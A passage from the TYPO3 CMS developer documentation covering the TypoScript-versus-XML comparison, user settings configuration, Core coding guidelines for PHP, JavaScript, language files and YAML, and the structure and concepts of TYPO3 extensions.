1.wrap = <li>
}
# Setting wrapping value:
stdWrap.textStyle.altWrap = {$styles.content.bulletlist.altWrap}
}
Copied!
That was 17 lines of TypoScript code and converting this information
into an XML structure could look like this:
<TSMLsyntax="3"><styles><content><bulletlist>
TEXT
<stdWrap><current>1</current><trim>1</trim><if><isTrue><current>1</current></isTrue></if><!-- Copying the object "styles.content.parseFunc" to this position --><parseFunccopy="styles.content.parseFunc"/><split><token><char>10</char></token><cObjNum>1</cObjNum><num:1><current>1</current><wrap><li></wrap></num:1></split><!-- Setting wrapping value: --><fontTag><ol type="1"> | </ol></fontTag><textStyle><altWrap>{$styles.content.bulletlist.altWrap}</altWrap></textStyle></stdWrap></bulletlist></content></styles></TSML>
Copied!
That was 35 lines of XML - the double amount of lines! And in bytes
probably also much bigger. This example clearly demonstrates why not
XML! XML will just get in the way, it is not handy for what
TypoScript normally does. But hopefully you can at least use this
example in your understanding of what TypoScript is compared to XML.
User settings configuration
The user settings module determines what user settings are available
for backend users. The users can access the settings by clicking on their name in
the top bar and then "User settings".
A number of settings such as backend language, password etc. are available
by default. These settings may be extended via extensions as described in
Extending the user settings.
The User Settings module has the most complex form in the TYPO3 backend
not driven by TCA/TCEforms. Instead it uses its own PHP configuration
array
$GLOBALS['TYPO3_USER_SETTINGS']. It is quite similar to
$GLOBALS['TCA'], but with less options.
The actual values can be accessed via the array
$GLOBALS['BE_USER']->uc
as described in Get User Configuration Value.
This functionality is provided by the typo3/cms-setup Composer package.
If type == user, then you need to define your own renderType too.
If selectable items shall be filled by your own function, then you can use type == select and itemsProcFunc.
Label for the input field, should be a pointer to a localized
label using the LLL: syntax.
buttonLabel
buttonLabel
Type
string
Text of the button for type=button fields.
Should be a pointer to a localized label using the LLL: syntax.
access
access
Type
string
Allowed values
admin
Access control. At the moment only a admin-check is implemented
table
table
Type
stringstring
Allowed values
be_users
If the user setting is saved in a DB table, this property sets the
table. At the moment only be_users is implemented.
items
items
Type
array
List of items for type=select fields. This should be a simple associative
array with key-value pairs.
itemsProcFunc
itemsProcFunc
Type
array
Defines an external method for rendering items of select-type fields.
Contrary to what is done with the TCA you have to render the <select>
tag too. Only used by type=select.
Use the usual class->method syntax.
clickData.eventName
clickData.eventName
Type
string
JavaScript event triggered on click.
confirm
confirm
Type
boolean
If true, JavaScript confirmation dialog is displayed.
confirmData.eventName
confirmData.eventName
Type
string
JavaScript event triggered on confirmation.
confirmData.message
confirmData.message
Type
string
Confirmation message.
['showitem'] section
This string is used for rendering the form in the user setup module.
It contains a comma-separated list of fields, which will be rendered
in that order.
To use a tab insert a --div--;LLL:EXT:foo/... item in the list.
Adding fields to the User Settings is done in two steps.
First of all, the new fields are added directly to the
$GLOBALS['TYPO3_USER_SETTINGS'] array. Then the
field is made visible by calling
\TYPO3\CMS\Core\Utility\ExtensionManagementUtility::addFieldsToUserSettings().
The second parameter in the call to
addFieldsToUserSettings()
is used to position the new field. In this example, we decide to add it
after the existing "email" field.
In this example the field is also added to the "be_users" table. This is
not described here as it belongs to 'extending the $TCA array'.
See label 'extending' in older versions of the TCA-Reference.
And here is the new field in the User Tools > User Settings module:
To extend the User Settings module with JavaScript callbacks - for example with
a custom button or special handling on confirmation, use clickData or
confirmData:
Events declared in corresponding eventName options have to be handled by
a custom static JavaScript module. Following snippets show the relevant parts:
PSR-14 event AddJavaScriptModulesEvent can be used
to inject a JavaScript module to handle those custom JavaScript events.
View the configuration
It is possible to view the configuration via the
System > Configuration module, just like for the
$TCA.
Viewing the User Settings configuration
Coding guidelines
This chapter contains description of the formal requirements or standards
regarding coding that you should adhere to when you develop TYPO3
extensions or Core parts.
Some basic rules are defined in the .editorconfig, such as the charset and
the indenting style. By default, indenting with 4 spaces is
used, but there are a few exceptions (e.g. for YAML or JSON
files).
For the files that are not specifically covered in the subchapters (e.g.
Fluid, .json, or .sql), the information in the .editorconfig file
should be sufficient.
This chapter defines coding guidelines for the TYPO3 project.
Following these guidelines is mandatory for TYPO3 Core developers and
contributors to the TYPO3 Core .
Extension authors are encouraged to follow these guidelines
when developing extensions for TYPO3. Following these guidelines makes
it easier to read the code, analyze it for learning or performing code
reviews. These guidelines also help preventing typical errors in the
TYPO3 code.
This chapter defines how TYPO3 code, files and directories should be
outlined and formatted. It gives some thoughts on general coding
flavors the Core tries to follow.
The CGL as a means of quality assurance
Our programmers know the CGL and are encouraged to inform authors,
should their code not comply with the guidelines.
Apart from that, adhering to the CGL is not voluntary: The CGL are also
enforced by structural means: Automated tests are run by the continuous
integration tool bamboo to make sure that every (core) code change complies
with the CGL. In case a change does not meet the criteria, bamboo will
give a negative vote in the review system and point to the according
problem.
Following the coding guidelines not necessarily means more work for
Core contributors: The automatic CGL check performed by bamboo can
be easily replayed locally: If the test setup votes negative on a
Core patch in the review system due to CGL violations, the patch
can be easily fixed locally by calling ./Build/Scripts/cglFixMyCommit.sh
and pushed another time. For details on Core contributions, have a look at the
TYPO3 Contribution Guide.
General recommendations
Setup IDE / editor
Attention
You are strongly advised to set up your editor / IDE properly so that the
standards get checked and enforced automatically!
.editorconfig
One method to set up your IDE / editor to adhere to specific Coding Guidelines,
is to use an .editorconfig file. Read EditorConfig.org
to find out more about it. Various IDEs or Editors support editorconfig by default or with
an additional plugin.
The package TYPO3 Coding Standards
provides the most up-to-date recommendation for using and enforcing common
coding guidelines, which are continuously improved. The package also offers
toolchain configuration for automatically adjusting code to these standards.
Specifically, a PHP CS Fixer configuration
is provided, that is based on PER-CS1.0 (PSR-12) at the time of this
writing, and transitioning towards PER-CS2.0.
File names
The file name describes the functionality included in the file. It
consists of one or more nouns, written in UpperCamelCase. For example
in the frontend system extension there is the file
ContentObject/ContentObjectRenderer.php.
It is recommended to use only PHP classes and avoid non-class files.
Files that contain PHP interfaces must have the file name end on
"Interface", e.g. EnforceableQueryRestrictionInterface.php.
One file can contain only one class or interface.
Extension for PHP files is always php.
PHP tags
Each PHP file in TYPO3 must use the full (as opposed to short) opening
PHP tag. There must be exactly one opening tag (no closing and opening
tags in the middle of the file). Example:
EXT:some_extension/Classes/SomeClass.php
<?phpdeclare(strict_types = 1);
// File content goes here
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Closing PHP tags (e.g. at the end of the file) are not used.
Each newly introduced file MUST declare strict types for the given file.
Line breaks
TYPO3 uses Unix line endings (\n, PHP chr(10)). If
a developer uses Windows or Mac OS X platform, the editor must be
configured to use Unix line endings.
Line length
Very long lines of code should be avoided for questions of
readability. A line length of about 130 characters (including
spaces) is fine. Longer lines should be split into several lines whenever
possible. Each line fragment starting from the second must - compared
to the first one - be indented with four space characters more. Example:
Comment lines should be kept within a limit of about 80 characters
(excluding the leading spaces) as it makes them easier to read.
Note
When splitting a line, try to split it at a point that makes as much
sense as possible. In the above example, the line is split between two
arguments and not in the middle of one. In case of long logical
expressions, put the logical operator at the beginning of the next
line, example:
if ($GLOBALS['TYPO3_CONF_VARS']['SYS']['curlUse'] == '1'
&& preg_match('/^(?:http|ftp)s?|s(?:ftp|cp):/', $url)
) {
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Whitespace and indentation
TYPO3 uses space characters to indent source code. Following the
TYPO3 Coding Standards,
one indentation level consists of four spaces.
There must be no white spaces in the end of a line. This can be done
manually or using a text editor that takes care of this.
Spaces must be added:
On both sides of string, arithmetic, assignment and other similar
operators (for example ., =, +, -,
?, :, *, etc).
After commas.
In single line comments after the comment sign (double slash).
After asterisks in multiline comments.
After conditional keywords like if ( and switch (.
Before conditional keywords if the keyword is not the first
character like } elseif {.
Spaces must not be present:
After an opening brace and before a closing brace. For example:
explode( 'blah', 'someblah' ) needs to be written as explode('blah', 'someblah').
Character set
All TYPO3 source files use the UTF-8 character set without byte order
mark (BOM). Encoding declarations like declare(encoding = 'utf-8');
must not be used. They might lead to problems, especially in
ext_tables.php and ext_localconf.php files of extensions, which are
merged internally in TYPO3 CMS. Files from third-party libraries may
have different encodings.
File structure
TYPO3 files use the following structure:
Opening PHP tag (including strict_types declaration)
Copyright notice
Namespace
Namespace imports
Class information block in phpDoc format
PHP class
Optional module execution code
The following sections discuss each of these parts.
Namespace
The namespace declaration of each PHP file in the TYPO3 Core shows
where the file belongs inside TYPO3 CMS. The namespace starts with
\TYPO3\CMS, then the extension name in UpperCamelCase, a
backslash and then the name of the subfolder of Classes/, in
which the file is located (if any). E.g. the file
typo3/sysext/frontend/Classes/ContentObject/ContentObjectRenderer.php
with the class
ContentObjectRenderer is in the namespace
\TYPO3\CMS\Frontend\ContentObject.
use statements can be added to this section.
Copyright Notice
TYPO3 is released under the terms of GNU General Public License
version 2 or any later version. The copyright notice with a reference
to the license text must be included at the top of every TYPO3 PHP class
file. User files must have this copyright notice as well. Example:
EXT:some_extension/Classes/SomeClass.php
<?phpdeclare(strict_types = 1);
/*
* This file is part of the TYPO3 CMS project.
*
* It is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License, either version 2
* of the License, or any later version.
*
* For the full copyright and license information, please read the
* LICENSE.txt file that was distributed with this source code.
*
* The TYPO3 project - inspiring people to share!
*/namespaceVendor\SomeExtension\SomeFolder;
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The wording must not be changed/updated/extended, under any circumstances.
Namespace imports
Necessary PHP classes should be imported like explained in the
TYPO3 Coding Standards,
(based on PER-CS1.0 / PSR-12 at the time of this writing, transitioning towards
PER-CS2.0):
Put one blank line before and after import statements.
Also put one import statement per line.
Class information block
The class information block provides basic information about the class
in the file. It should include a description of the class. Example:
EXT:some_extension/Classes/SomeClass.php
/**
* This class provides XYZ plugin implementation.
*/
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PHP class
The PHP class follows the class information block. PHP code must be formatted
as described in chapter "PHP syntax formatting".
The class name is expected to follow some conventions. It must be
identical to the file name and must be written in upper camel case.
The namespace and class names of user files follow the same rules as
class names of the TYPO3 Core files do.
The namespace declaration of each user file should show where the file
belongs inside its extension. The namespace starts with
"Vendor\MyNamespace\", where "Vendor" is your vendor name and
"MyNamespace" is the extension name in UpperCamelCase. Then follows the
name of the subfolder of Classes/, in which the file is located
(if any). E.g. the file
EXT:realurl/Classes/Controller/AliasesController.php
with the class
AliasesController is in the namespace
"
\DmitryDulepov\Realurl\Controller".
Module execution code instantiates the class and runs its method(s).
Typically this code can be found in eID scripts and old Backend
modules. Here is how it may look like:
All identifiers must use camelCase and start with a lowercase letter.
Underscore characters are not allowed. Hungarian notation is not
encouraged. Abbreviations should be avoided. Examples of good
identifiers:
The lower camel case rule also applies to acronyms. Thus:
$someNiceHtmlCode
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is correct, whereas :
$someNiceHTMLCode
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is not.
In particular the abbreviations "FE" and "BE" should be avoided and
the full "Frontend" and "Backend" words used instead.
Identifier names must be descriptive. However it is allowed to use
traditional integer variables like
$i,
$j,
$k in
for loops. If such variables are used, their meaning must be absolutely
clear from the context where they are used.
The same rules apply to functions and class methods. In contrast to
class names, function and method names should not only use nouns, but
also verbs. Examples:
Class constants should be clear about what they define. Correct:
const USERLEVEL_MEMBER = 1;
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Incorrect:
const UL_MEMBER = 1;
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Variables on the global scope may use uppercase and underscore
characters.
Examples:
$GLOBALS['TYPO3_CONF_VARS']
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Comments
Comments in the code are highly welcome and recommended. Inline
comments must precede the commented line and be indented with
the same number of spaces as the commented line.
Example:
protectedfunctionprocessSubmission(){
$context = GeneralUtility::makeInstance(Context::class);
// Check if user is logged inif ($context->getPropertyFromAspect('frontend.user', 'isLoggedIn')) {
…
}
}
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Comments must start with "
//". Starting comments with
"
#" is not allowed.
Class constants and variable comments should follow PHP doc style and
precede the variable. The variable type must be specified for
non–trivial types and is optional for trivial types. Example:
/** Number of images submitted by user */protected $numberOfImages;
/**
* Local instance of the ContentObjectRenderer class
*
* @var ContentObjectRenderer
*/protected $localCobj;
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Single line comments are allowed when there is no type declaration for
the class variable or constant.
If a variable can hold values of different types, use
mixed as
type.
Debug output
During development it is allowed to use
debug() or
\TYPO3\CMS\Core\Utility\DebugUtility::debug() function calls to produce debug output.
However all debug statements must be removed (not only commented!)
before pushing the code to the Git repository. Only very exceptionally
is it allowed to even think of leaving a debug statement, if it is
definitely a major help when developing user code for the TYPO3 Core.
Curly braces
Usage of opening and closing curly braces is mandatory in all cases
where they can be used according to PHP syntax (except
case statements).
The opening curly brace is always on the same line as the preceding
construction. There must be one space (not a tab!) before the opening
brace. An exception are classes and functions: Here the opening curly
brace is on a new line with the same indentation as the line with class
or function name. The opening brace is always followed by a new line.
The closing curly brace must start on a new line and be indented to
the same level as the construct with the opening brace. Example:
protectedfunctiongetForm(){
if ($this->extendedForm) {
// generate extended form here
} else {
// generate simple form here
}
}
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The following is not allowed:
protectedfunctiongetForm(){
if ($this->extendedForm) { // generate extended form here
} else {
// generate simple form here
}
}
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Conditions
Conditions consist of
if,
elseif and
else
keywords. TYPO3 code must not use the
else if construct.
The following is the correct layout for conditions:
if ($this->processSubmission) {
// Process submission here
} elseif ($this->internalError) {
// Handle internal error
} else {
// Something else here
}
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Here is an example of the incorrect layout:
if ($this->processSubmission) {
// Process submission here
}
elseif ($this->internalError) {
// Handle internal error
} else {
// Something else here
}
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It is recommended to create conditions so that the shortest block of
code goes first. For example:
if (!$this->processSubmission) {
// Generate error message, 2 lines
} else {
// Process submission, 30 lines
}
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If the condition is long, it must be split into several lines.
The logical operators must be put in front of the
next condition and be indented to the same level as the first condition.
The closing round and opening curly bracket after the last condition
should be on a new line, indented to the same level as the
if:
if ($this->getSomeCondition($this->getSomeVariable())
&& $this->getAnotherCondition()
) {
// Code follows here
}
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The ternary conditional operator
? : must be used only, if it
has exactly two outcomes. Example:
case statements are indented with one additional indent (four
spaces) inside the
switch statement. The code inside the
case statements is further indented with an additional indent.
The
break statement is aligned with the code. Only one
break statement is allowed per
case.
The
default statement must be the last in the
switch
and must not have a
break statement.
If one
case block has to pass control into another
case
block without having a
break, there must be a comment about it
in the code.
for loops must contain only variables inside (no function
calls). The following is correct:
$size = count($dataArray);
for ($element = 0; $element < $size; $element++) {
// Process element here
}
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The following is not allowed:
for ($element = 0; $element < count($dataArray); $element++) {
// Process element here
}
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do and
while loops must use extra brackets, if an
assignment happens in the loop:
while (($fields = $this->getFields())) {
// Do something
}
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There's a special case for
foreach loops when the value is not
used inside the loop. In this case the dummy variable
$_
(underscore) is used:
foreach ($GLOBALS['TCA'] as $table => $_) {
// Do something with $table
}
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This is done for performance reasons, as it is faster than calling
array_keys() and looping on its result.
Strings
All strings must use single quotes. Double quotes are allowed only to
create the new line character (
"\n").
String concatenation operators must be surrounded by spaces. Example:
$content = 'Hello ' . 'world!';
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However the space after the concatenation operator must not be present,
if the operator is the last construction on the line. See the section
about white spaces for more information.
Variables must not be embedded into strings. Correct:
$content = 'Hello ' . $userName;
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Incorrect:
$content = "Hello $userName";
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Multiline string concatenations are allowed. The line concatenation
operator must be at the beginning of the line. Lines starting from the
second must be indented relatively to the first line. It is recommended
to indent lines one level from the start of the string on the first
level.
Note
The old rule allowed the operator only at the end. Both are still
valid. Please do no "mass-change" across the Core. Use the new rule for
future changes or patches currently under review but do not block reviews
because of the legacy concatenation. If you change a line/method anyway,
you can of course adapt CGL-changes as well (as long as it's no
"mass-change").
$content = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. '
. 'Donec varius libero non nisi. Proin eros.';
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Booleans
Booleans must use the language constructs of PHP and not explicit
integer values like
0 or
1. Furthermore they should be
written in lowercase, i.e.
true and
false.
NULL
Similarly this special value is written in lowercase, i.e.
null.
Arrays
Array declarations use the short array syntax
[], instead of the
"
array" keyword. Thus:
$a = [];
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Array components are declared each on a separate line. Such
lines are indented with four more spaces than the start of the
declaration. The closing square bracket is on the same indentation level as
the variable. Every line containing an array item ends with a comma.
This may be omitted if there are no further elements, at the
developer's choice. Example:
Nested arrays follow the same pattern. This formatting applies even to
very small and simple array declarations, e.g. :
$a = [
0 => 'b',
];
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PHP features
The use of the newest PHP features is strongly recommended for
extensions and mandatory for the TYPO3 Core .
Class functions must have access type specifiers:
public,
protected or
private. Notice that
private may
prevent XCLASSing of the class. Therefore
private can be used
only if it is absolutely necessary.
Class variables must use access specifiers instead of the
var
keyword.
Type hinting must be used when the function expects an
array or
an
instance of a certain class. Example:
protectedfunctionexecuteAction(MyAction &$action, array $extraParameters){
// Do something
}
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Static functions must use the
static keyword. This keyword must
be after the visibility declaration in the function definition:
publicstaticfunctionexecuteAction(MyAction &$action, array $extraParameters){
// Do something
}
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The
abstract keyword also must be after the visibility declaration in the
function declaration:
protectedabstractfunctionrender();
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Global variables
Use of
global is not recommended. Always use
$GLOBALS['variable'].
Functions
All newly introduced PHP functions must be as strongly typed as possible.
That means one must use the possibilities of PHP 7.0 as much as possible to declare and enforce
strict data types.
i.e.: Every function parameter should be type-hinted. If a function returns a value, a return type-hint must be used.
All data types must be documented in the phpDoc block of the function.
If a function is declared to return a value, all code paths must always return a value. The following is not allowed:
In general there should be a single
return statement in the
function (see the preceding example). However a function can return
during parameter validation (guards) before it starts its main logic. Example:
/**
* @param bool $enabled
* @param MyUseParameters $useParameters
* @return string
*/functionextendedUse(bool $enabled, MyUseParameters $useParameters): string{
// Validationif (count($useParameters->urlParts) < 5) {
return'Parameter validation failed';
}
// Main functionality
$content = '';
if ($enabled) {
$content = 'Extended use';
} else {
$content = 'Only basic use is available to you!';
}
return $content;
}
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Functions should not be long. "Long" is not defined in terms of lines.
General rule is that function should fit into 2 / 3 of
the screen. This rule allows small changes in the function without
splitting the function further. Consider refactoring long functions
into more classes or methods.
Using phpDoc
"phpDocumentor" (phpDoc) is used for documenting
source code. TYPO3 code typically uses the following phpDoc keywords:
TYPO3 does not require that each class, function and method be
documented with phpDoc.
But documenting types is required. If you cannot use type hints then a
docblock is mandatory to describe the types..
Additionally you should add a phpDoc block if additional information seems
appropriate:
An example would be the detailed description of the content of arrays using
the Object[] notation.
If the return type is mixed and cannot be annotated strictly, add a
@return tag.
If parameters or return types have specific syntactical requirements:
document that!
The different parts of a phpDoc statement after the keyword are separated by
one single space.
Class information block
((to be written))
((was: For information on phpDoc use for class declarations see "Class
information block".))
Function information block
Functions should have parameters and the return type documented. Example:
EXT:some_extension/Classes/SomeClass.php
/**
* Initializes the plugin.
*
* Checks the configuration and substitutes defaults for missing values.
*
* @param array $conf Plugin configuration from TypoScript
* @return bool true if initialization was successful, false otherwise
* @see MyClass:anotherFunc()
*/protectedfunctioninitialize(array $conf): bool{
// Do something
}
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Short and long description
A method or class may have both a short and a long description. The
short description is the first piece of text inside the phpDoc block.
It ends with the next blank line. Any additional text after that line
and before the first tag is the long description.
In the comment blocks use the short forms of the type names (e.g.
int,
bool,
string,
array or
mixed).
Use
@return void when a function does not return a value.
JavaScript coding guidelines
The rules suggested in the Airbnb JavaScript Style Guide should be used throughout the TYPO3
Core for JavaScript files.
Note that the TYPO3 Core typically uses TypeScript now and automatically converts it to JavaScript.
Directories and filenames
JavaScript files should have the file ending .js
JavaScript files are located under <extension>/Resources/Public/JavaScript/
Format
Use spaces, not TABs.
Indent with 2 spaces.
Use single quotes ('') for strings.
Prefix jQuery object variables with a $.
More information
See Setup IDE / editor in this manual for information about setting up your Editor / IDE to adhere to
the coding guidelines.
Language files are located in the directory EXT:my_extension/Resources/Private/Language/.
Format
Use TABs, not spaces.
TAB size is 4.
Tip
Have a look into the .editorconfig file,
which allows you to enforce file formatting.
Language keys
TYPO3 is designed to be fully localizable. Hard-coded strings should
thus be avoided unless there are some technical limitations (for example, some
very early or low-level stuff where a $GLOBALS['LANG']
object is not yet available).
Defining localized strings
Here are some rules to respect when working with labels in locallang.xlf
files:
Localized strings should never be all uppercase. If uppercase is needed,
then appropriate methods should be used to transform them to uppercase.
Localized strings must not be split into several parts to include
stuff in their middle. Rather use a single string with
sprintf()
markers (%s, %d, etc.).
When a localized string contains several
sprintf() markers, it
must use numbered arguments (for example, %1$d).
Localized strings should never contain configuration options (for example,
index_config:timer_frequency, which would display a link or
EXT:wizard_crpages/cshimages/wizards_1.png, which would show
an image). Configuration like this does not belong in language
labels, but in TypoScript.
Localized strings are not supposed to contain HTML tags. They should
be avoided whenever possible.
Punctuation marks must be included in the localized string –
including trailing marks – as different punctuation marks (for example, "?"
and "¿") may be used in various languages. Also some languages include
blanks before some punctuation marks.
Once a localized string appears in a released version of TYPO3, it
cannot be changed (unless it needs grammar or spelling fixes). Nor can
it be removed. If the label of a localized string has to be changed, a
new one should be introduced instead.
YAML coding guidelines
YAML is (one of the languages) used for configuration in TYPO3.
Directory and file names
Files have the ending .yaml.
Format
Use spaces, not tabs
Indent with 2 spaces per indent level
Favor single-quoted strings (' ') over double-quoted or multi-line strings where
possible
Double quoted strings should only be used when more complex escape
characters are required. String values with line breaks should use multi-line
block strings in YAML.
The quotes on a trivial string value (a single word or similar) may be omitted.
trivial:aValuesimple:'This is a "salt" used for various kinds of encryption ...'complex:"This string has unicode escaped characters, like \x0d\x0a"multi:|
This is a multi-line string.
Linebreaksarepreservedinthisvalue.It'sgoodforincluding<em>HTMLsnippets</em>.
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More information
See Setup IDE / editor in this manual for information about setting up your Editor / IDE to adhere to
the coding guidelines.
Learn about the concept of extensions
in TYPO3, the difference between system extensions and local
extensions. Learn about Extbase as an MVC basis for extension
development.
Lists reserved file and directory names within an extension. Also
lists file names that are used in a certain way by convention.
This chapter should also help you to find your way around in
extensions and sitepackages that were automatically generated or
that you downloaded as an example.
Helps you kickstart your own extension or sitepackage. Explains how
to publish an extension. Contains howto for different situations
like creating a frontend plugin, a backend module or to extend
existing TCA.
Contains tutorials on extension development in TYPO3.
Concepts
Learn about the concept of extensions
in TYPO3, the difference between system extension and local
extensions. Learn about Extbase as an MVC basis for extension
development.
TYPO3 CMS is entirely built around the concept of extensions. The Core itself
is entirely comprised of extensions, called "system extensions".
Some are required and will always be activated. Others can be activated
or deactivated at will.
Yet more extensions are not officially published and are available straight
from source code repositories like GitHub.
It is also possible to set up TYPO3 CMS using Composer. This opens
the possibility of including any library published on
Packagist.
TYPO3 can be extended in nearly any direction without losing
backwards compatibility. The Extension API provides a powerful
framework for easily adding, removing, installing and developing such
extensions to TYPO3.
Types of extensions
"Extensions" is a general term in TYPO3 which covers many kinds of
additions to TYPO3.
The extension type used to be specified in the file ext_emconf.php, but
this has become obsolete. It is no longer possible to specify the type of an
extension. However, there are some types by convention which follow loose
standards or recommendations. Some of these types by convention are:
Sitepackage is a TYPO3 Extension that contains all relevant configuration
for a Website, including the assets that make up the template (e.g.
CSS, JavaScript, Fluid templating files, TypoScript etc.). The
Sitepackage Tutorial covers this in depth.
Distributions are fully packaged TYPO3 CMS web installations,
complete with files, templates, extensions, etc. Distributions are
covered in their own chapter.
Extension components
An extension can consist of one or more of these components. They are not
mutually exclusive: An extension can supply one or more plugins and also
one or more modules. Additionally, an extension can provide functionality
beyond the listed components.
Plugins which play a role on the website itself, e.g. a discussion
board, guestbook, shop, etc. Therefore plugins are content elements, that can
be placed on a page like a text element or an image.
Modules are backend applications which have their own entry in the
main menu. They require a backend login and work inside the framework
of the backend. We might also call something a module if it exploits
any connectivity of an existing module, that is if it simply adds
itself to the function menu of existing modules. A module is an
extension in the backend.
Symfony console commands provide functionality which can be executed on
the command line (CLI). These commands are implemented by classes inheriting
the Symfony
\Symfony\Component\Console\Command\Command\Command class.
More information is available in Console commands (CLI).
Extensions and the Core
Extensions are designed in a way so that extensions can supplement the
Core seamlessly. This means that a TYPO3 system will appear as "a
whole" while actually being composed of the Core application and a
set of extensions providing various features. This philosophy allows
TYPO3 to be developed by many individuals without losing fine control
since each developer will have a special area (typically a system
extension) of responsibility which is effectively encapsulated.
So, at one end of the spectrum system extensions make up what is
known as "TYPO3" to the outside world. At the other end, extensions
can be entirely specific to a given project and contain only files and functionality
related to a single implementation.
Notable system extensions
This section describes the main system extensions, their use and
what main resources and libraries they contain. The system extensions
are located in directory typo3/sysext.
Core
As its name implies, this extension is crucial to the working of TYPO3 CMS.
It defines the main database tables (BE users, BE groups, pages and all the
"sys_*" tables). It also contains the default global configuration
(in typo3/sysext/core/Configuration/DefaultConfiguration.php). Last
but not least, it delivers a huge number of base PHP classes, far too many
to describe here.
backend
This system extension provides all that is necessary to run the TYPO3 CMS
backend. This means quite a few PHP classes, a lot of controllers and Fluid templates.
frontend
This system extension contains all the tools for performing rendering in
the frontend, i.e. the actual web site. It is mostly comprised of PHP classes,
in particular those in typo3/sysext/frontend/Classes/ContentObject,
which are used for rendering the various content objects (one class per object
type, plus a number of base and utility classes).
Extbase
Extbase is an MVC framework, with the "View" part being actually the system extension "fluid".
Not all of the TYPO3 CMS backend is written in Extbase, but some modules are.
Fluid
Fluid is a templating engine. It forms the "View" part of the MVC framework.
The templating engine itself is provided as "fluid standalone" which can be used
in other frameworks or as a standalone templating engine.
This system extension provides a number of classes and many View Helpers
(in typo3/sysext/fluid/Classes/ViewHelpers), which
extend the basic templating features of standalone Fluid. Fluid can be used in conjunction
with Extbase (where it is the default template engine), but also in non-extbase extensions.
install
This system extension is the package containing the TYPO3 CMS Install Tool.
System, third-party and custom extensions
The files for an extension are installed into a folder named vendor/
by Composer. See also vendor/.
In Classic mode installations they are found in typo3/sysext/
(system extensions) or typo3conf/ext/ (third-party
and custom extensions).
Third-party and custom extensions
Third-party and custom extensions must have the Composer type typo3-cms-extension:
The extension will be installed in the directory
vendor/ by Composer. Custom extension like sitepackages
or specialized extensions used only in one project can be kept under version
control in a directory like packages/. They are then
symlinked into vendor/ by Composer.
In Classic mode installations third-party extensions are installed into
typo3conf/ext/. Custom extensions can be kept in a
directory outside of the project root and symlinked into typo3conf/ext/
or manually inserted in this directory.
System Extensions
System extensions have the Composer type typo3-cms-framework:
Lists reserved file and directory names within an extension. Also
lists file names that are used in a certain way by convention.
This chapter should also help you to find your way around in
extensions and sitepackages that where automatically generated or
that you downloaded as an example.
The following folders and files can typically be found in a TYPO3 extension:
A directory named by the extension key (which is a worldwide unique
identification string for the extension), usually located in typo3conf/ext
for local extensions, or typo3/sysext for system extensions.
Standard files with reserved names for configuration related to TYPO3
(of which most are optional, see list below)
Any number of additional files for the extension functionality itself.
It is recommended to keep ext_emconf.php and composer.json in
any public extension that is published to TYPO3 Extension Repository (TER), and
to ensure optimal compatibility with Composer installations and legacy
installations.
Do not introduce your own files in the root directory of
extensions with the name prefix ext_, because that is reserved.
Reserved Folders
In the early days, every extension author baked his own bread when it came to
file locations of PHP classes, public web resources and templates.
With the rise of Extbase, a generally accepted structure for file
locations inside of extensions has been established. If extension authors
stick to this and the other Coding Guidelines, the system helps in various ways. For instance, if putting
PHP classes into the Classes/ folder and using appropriate namespaces for the classes,
the system will be able to autoload these files.
Contains all PHP classes. One class per file. Should have sub folders like
Controller/, Domain/, Service/ or View/.
For more details on class file namings and PHP namespaces, see chapter
namespaces.
In the file EXT:my_extension/Configuration/Extbase/Persistence/Classes.php the
mapping between a database table and its model can be configured. The mapping
in this file overrides the automatic mapping by naming convention.
This file contains the Frontend TypoScript
that the set should provide. If the
extension keeps its TypoScript in folder TypoScript
for backward compatibility reasons this file should contain an import of
file Configuration/TypoScript/setup.typoscript for the main set of the
extension:
This file contains the Frontend TypoScript Constants that the set should
provide. This file can be used if your extension depends on other extensions
that still rely on TypoScript constants.
All files in this directory are automatically included during the TYPO3
bootstrap.
Files within Configuration/TCA/ files are loaded within a dedicated scope.
This means that variables defined in those files cannot leak to any other
TCA file during the TCA compilation process.
One file per database table, using the name of the table for the file, plus
".php". Only for new tables, provided by the extension itself. Must not be used to change existing tables provided by other extensions.
General advice: One file per database table, using the name of the table for the
file, plus .php. For more information, see the chapter
Extending the TCA array.
<?phpdeclare(strict_types=1);
useTYPO3\CMS\Core\Imaging\IconProvider\BitmapIconProvider;
useTYPO3\CMS\Core\Imaging\IconProvider\SvgIconProvider;
return [
// Icon identifier'tx-myext-svgicon' => [
// Icon provider class'provider' => SvgIconProvider::class,
// The source SVG for the SvgIconProvider'source' => 'EXT:my_extension/Resources/Public/Icons/mysvg.svg',
],
'tx-myext-bitmapicon' => [
'provider' => BitmapIconProvider::class,
// The source bitmap file'source' => 'EXT:my_extension/Resources/Public/Icons/mybitmap.png',
// All icon providers provide the possibility to register an icon that spins'spinning' => true,
],
'tx-myext-anothersvgicon' => [
'provider' => SvgIconProvider::class,
'source' => 'EXT:my_extension/Resources/Public/Icons/anothersvg.svg',
// Since TYPO3 v12.0 an extension that provides icons for broader// use can mark such icons as deprecated with logging to the TYPO3// deprecation log. All keys (since, until, replacement) are optional.'deprecated' => [
'since' => 'my extension v2',
'until' => 'my extension v3',
'replacement' => 'alternative-icon',
],
],
];
Configuration of custom middleware for frontend and backend. Extensions that
add middleware or disable existing middleware are configured in this file. The
file must return an array with the configuration.
Contains the extension documentation in ReStructuredText (ReST, .rst) format.
Read more on the topic in chapter extension documentation.
Documentation/ and its sub folders may contain several ReST files, images and other resources.
Resources
Contains the sub folders Public/ and Private/, which
contain resources, possibly in further subfolders.
Only files in the folder Public/ should be publicly accessible.
All resources that only get accessed by the web server
(templates, language files, etc.) go to the folder Private/.
Note
Non–TYPO3 files such as third party JavaScript libraries are commonly stored
in this folder.
TYPO3 is licensed under GPL version 2 or any later version. Any non–TYPO3
code must be compatible with GPL version 2 or any later version.
Folder Templates often contains the Fluid templates for a TYPO3 extensions
plugins. In Extbase they are stored in a folder with the name of the controller
class (without Controller ending), for example the NewsController.php has
the template for action "view" in
/Resources/Private/Templates/News/View.html. Non-Extbase controllers
can decide on how to use this folder.
Tip
Other file endings can be used for different formats, for example .xml
for sitemaps or xml-feeds or .txt for plain text.
Folder Partials often contains the Fluid partials for a TYPO3 extension.
These can be included via the Render ViewHelper <f:render>
into the main Fluid template.
Folder Layouts often contains the Fluid layouts for a TYPO3 extension.
These can be included via the Layout ViewHelper <f:layout>
into the main Fluid template.
Common Fluid template locations for the page view in site packages
Commonly site package in TYPO3 v13 and above use the PAGEVIEW
TypoScript object to display the HTML page output. They have one folder, commonly
PageView or Templates in folder Resources/Private with the subfolders
